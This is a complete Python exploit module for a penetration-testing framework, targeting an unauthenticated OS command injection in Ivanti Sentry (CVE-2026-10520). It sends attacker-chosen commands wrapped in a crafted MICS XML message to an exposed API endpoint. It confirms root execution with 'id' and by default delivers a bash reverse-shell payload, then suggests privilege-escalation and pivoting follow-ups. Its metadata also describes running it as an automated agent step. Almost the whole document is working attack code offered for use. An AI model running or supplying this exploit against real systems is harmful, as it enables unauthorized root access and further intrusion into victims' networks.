Ivanti Sentry CVE-2026-10520 unauthenticated OS command injection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import json
import re
from typing import Optional, Tuple
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Ivanti Sentry CVE-2026-10520 unauthenticated OS command injection",
        "description": (
            "CVE-2026-10520: Ivanti Sentry (before R10.5.2, R10.6.2, R10.7.1) exposes "
            "/mics/api/v2/sentry/mics-config/handleMessage without authentication. "
            "An attacker can inject OS commands via the commandexec MICS message and "
            "achieve root-level remote code execution."
        ),
        "author": ["ErrorInside", "Blue DeviL", "KittySploit Team"],
        "cve": ["CVE-2026-10520"],
        "platform": Platform.LINUX,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-10520",
            "https://www.cve.org/CVERecord?id=CVE-2026-10520",
            "https://horizon3.ai/attack-research/vulnerabilities/cve-2026-10520/",
            "https://www.rapid7.com/blog/post/etr-cve-2026-10520-cve-2026-10523-multiple-critical-vulnerabilities-affecting-ivanti-sentry/",
        ],
        "tags": [
            "ivanti",
            "sentry",
            "mobileiron",
            "mics",
            "rce",
            "command-injection",
            "unauthenticated",
            "cwe-78",
            "cve-2026-10520",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["ivanti", "sentry", "mobileiron"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": ["/mics/api/v2/sentry/"],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    _ENDPOINT = "/mics/api/v2/sentry/mics-config/handleMessage"
    _CMD_TMPL = (
        "execute system /configuration/system/commandexec "
        "<commandexec><index>1</index><reqandres>{}</reqandres></commandexec>"
    )

    port = OptPort(8443, "Ivanti Sentry HTTPS port", True)
    ssl = OptBool(True, "Use HTTPS", True, advanced=True)
    endpoint = OptString(
        _ENDPOINT,
        "MICS handleMessage endpoint path",
        required=False,
        advanced=True,
    )
    command = OptString(
        "",
        "OS command to execute (overrides payload when set)",
        required=False,
    )

    def _endpoint_path(self) -> str:
        path = str(self.endpoint or self._ENDPOINT).strip() or self._ENDPOINT
        if not path.startswith("/"):
            path = "/" + path
        return path

    @staticmethod
    def _build_message(command: str) -> str:
        # Keep the XML wrapper intact; only the reqandres body is attacker-controlled.
        return Module._CMD_TMPL.format(command)

    @staticmethod
    def _extract_output(text: str) -> str:
        if not text:
            return ""
        try:
            data = json.loads(text)
            result = str(data.get("data") or "")
        except Exception:
            result = text
        result = re.sub(r"<result><success>", "", result)
        result = re.sub(r"</success></result>", "", result)
        return result.strip()

    def _exec(self, command: str) -> Tuple[bool, str, Optional[object]]:
        message = self._build_message(command)
        # Match the public PoC encoding (message=urlencoded XML).
        body = "message=" + quote(message, safe="")
        response = self.http_request(
            method="POST",
            path=self._endpoint_path(),
            data=body,
            headers={
                "Content-Type": "application/x-www-form-urlencoded",
                "Accept": "*/*",
                "Connection": "close",
            },
            timeout=max(int(self.timeout or 25), 15),
            allow_redirects=False,
        )
        if not response:
            return False, "", None
        if response.status_code in (301, 302, 303, 307, 308, 401, 403):
            return False, "", response
        if response.status_code != 200:
            return False, "", response
        output = self._extract_output(response.text or "")
        return bool(output), output, response

    def check(self):
        ok, output, response = self._exec("id")
        if ok and ("uid=" in output or "gid=" in output):
            return {
                "vulnerable": True,
                "reason": f"Unauthenticated command injection confirmed: {output}",
                "confidence": "high",
                "output": output,
            }
        if response is not None and response.status_code in (301, 302, 401, 403):
            return {
                "vulnerable": False,
                "reason": f"Endpoint gated (HTTP {response.status_code}); likely patched",
                "confidence": "medium",
            }
        return {
            "vulnerable": False,
            "reason": "Command injection not confirmed",
            "confidence": "medium",
        }

    def run(self):
        manual = str(self.command or "").strip()
        if manual:
            command = manual
        else:
            command = str(self.payload or "").strip()
            if not command:
                print_error("No payload or command specified")
                print_info(
                    "Set a payload (e.g. payloads/singles/cmd/unix/bash_reverse_tcp) "
                    "or set command"
                )
                return False

        print_status("CVE-2026-10520 — Ivanti Sentry unauthenticated OS command injection")
        print_info(f"Target: {self.target}:{int(self.port)}")

        # Active confirmation with a benign command when running a reverse payload.
        if not manual:
            ok, output, _ = self._exec("id")
            if not ok or ("uid=" not in output and "gid=" not in output):
                print_error("Target does not appear vulnerable")
                self.not_vulnerable()
                return False
            print_success(f"Confirmed RCE as: {output}")

        print_status(f"Executing: {command[:120]}{'...' if len(command) > 120 else ''}")
        ok, output, response = self._exec(command)
        if not response:
            print_error("No response from handleMessage")
            return False

        if response.status_code in (301, 302, 401, 403):
            print_error(f"Endpoint gated (HTTP {response.status_code}); likely patched")
            self.not_vulnerable()
            return False

        if manual:
            if not ok:
                print_error("Command produced no output (not vulnerable or empty result)")
                return False
            print_success("Command executed")
            print_info(output)
            return True

        # Reverse/bind payloads often return empty stdout; request acceptance is enough.
        if response.status_code == 200:
            print_success("Payload dispatched via commandexec")
            if output:
                print_info(output)
            return True

        print_error(f"Unexpected HTTP {response.status_code}")
        return False